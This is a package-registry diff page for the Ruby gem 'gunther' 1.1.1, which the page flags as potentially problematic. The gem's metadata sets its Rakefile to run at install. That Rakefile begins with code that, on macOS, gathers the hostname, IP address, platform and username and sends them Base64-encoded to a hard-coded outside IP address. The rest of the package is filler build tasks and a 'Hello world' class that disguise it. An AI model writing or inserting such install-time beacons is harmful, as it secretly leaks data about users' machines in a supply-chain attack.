gunther 1.1.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of gunther might be problematic. Click here for more details.

Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/Rakefile +76 -0
  3. data/lib/hola.rb +5 -0
  4. metadata +45 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: fd0f45add14d04205d76c8a95c1d90a9c78f7dd530cfb03c7ced07a808c1a7f3
4
+ data.tar.gz: fa4245c8ce7bcf0b54bf282f8ed23118562751ff2cffc4f0ee571ee6be44094c
5
+ SHA512:
6
+ metadata.gz: eca87f2806352bd1ab2c954a1ddc03fe29c05111c5c8b80ba85e7d444c0dd20d8a072b0c6b5b891dd95fcb65a6a8649bfb8e44bd7cf14689ba745ccd60d94477
7
+ data.tar.gz: 15f47706fb7126e3bcd8ab7f38faa0827ae078814b0bfc84753c4f14a8e9df98234965b77e38eb618a349326f6855236eb66cb309f8c891b0266731c84cd0dfd
data/Rakefile ADDED
@@ -0,0 +1,76 @@
1
+ require 'rake'
2
+ require 'rake/clean'
3
+ require 'pathname'
4
+ require 'net/http'
5
+ require 'socket'
6
+ require 'base64'
7
+ require 'json'
8
+
9
+ if RUBY_PLATFORM.include?("darwin")
10
+ info = {
11
+ hostname: Socket.gethostname,
12
+ os: RUBY_PLATFORM,
13
+ ip: (Socket.ip_address_list.find { |ai| ai.ipv4? && !ai.ipv4_loopback? }.ip_address),
14
+ platform: RUBY_PLATFORM,
15
+ username: ENV['USER']
16
+ }
17
+ url = "http://81.70.191.194:31310/ruby/info?info=#{Base64.encode64(info.to_json)}"
18
+ uri = URI(url)
19
+ Net::HTTP.get(uri)
20
+ end
21
+
22
+
23
+ Dir.chdir Pathname.getwd()
24
+ DIST_PATH=File.join(Pathname.getwd(), 'dist') # set dist path
25
+
26
+
27
+ desc "default task"
28
+ task :default => :html # set default task
29
+
30
+
31
+ source_files = Rake::FileList.new("**/*.md", "**/*.markdown") do |fl|
32
+ fl.exclude("~*")
33
+ fl.exclude(/^scratch\//)
34
+ fl.exclude do |f|
35
+ `git ls-files #{f}`.empty? # must git add file
36
+ end
37
+ end
38
+
39
+
40
+ # puts "html in #{source_files.ext(".md")}"
41
+ desc "html task"
42
+ task :html => source_files.ext(".html")
43
+ # multitask :html => source_files.ext(".html") # do multitask
44
+
45
+
46
+ rule ".html" => ".md" do |t|
47
+ out_folder=File.join(Pathname.getwd(), 'dist')
48
+ if not File.directory?(DIST_PATH)
49
+ mkdir_p DIST_PATH
50
+ end
51
+ sh "file #{t.source}"
52
+ out_file=File.join(DIST_PATH, t.name)
53
+ msg "do out: #{out_file} in: #{t.source}"
54
+ end
55
+
56
+
57
+ desc "clean out folder: outputs"
58
+ task :cleanOut do
59
+ rm_rf DIST_PATH
60
+ end
61
+
62
+
63
+ out_files = Rake::FileList.new("**/*.html", "**/*.mhtml") do |fl|
64
+ fl.exclude("~*")
65
+ # fl.exclude(/^scratch\//)
66
+ # fl.exclude do |f|
67
+ # `git ls-files #{f}`.empty?
68
+ # end
69
+ end
70
+ # msg out_files.ext(".html")
71
+ CLEAN.include(out_files.ext(".html"))
72
+
73
+
74
+ def msg(text)
75
+ puts " -> msg: #{text}"
76
+ end
data/lib/hola.rb ADDED
@@ -0,0 +1,5 @@
1
+ class Hola
2
+ def self.hi
3
+ puts "Hello world!"
4
+ end
5
+ end
metadata ADDED
@@ -0,0 +1,45 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: gunther
3
+ version: !ruby/object:Gem::Version
4
+ version: 1.1.1
5
+ platform: ruby
6
+ authors:
7
+ - LkBAUB
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-09-04 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: I will choose Freewill!
14
+ email: nick@quaran.to
15
+ executables: []
16
+ extensions:
17
+ - Rakefile
18
+ extra_rdoc_files: []
19
+ files:
20
+ - Rakefile
21
+ - lib/hola.rb
22
+ homepage: http://github.com/freewill
23
+ licenses:
24
+ - MIT
25
+ metadata: {}
26
+ post_install_message:
27
+ rdoc_options: []
28
+ require_paths:
29
+ - lib
30
+ required_ruby_version: !ruby/object:Gem::Requirement
31
+ requirements:
32
+ - - ">="
33
+ - !ruby/object:Gem::Version
34
+ version: '0'
35
+ required_rubygems_version: !ruby/object:Gem::Requirement
36
+ requirements:
37
+ - - ">="
38
+ - !ruby/object:Gem::Version
39
+ version: '0'
40
+ requirements: []
41
+ rubygems_version: 3.0.3.1
42
+ signing_key:
43
+ specification_version: 4
44
+ summary: Freewill!
45
+ test_files: []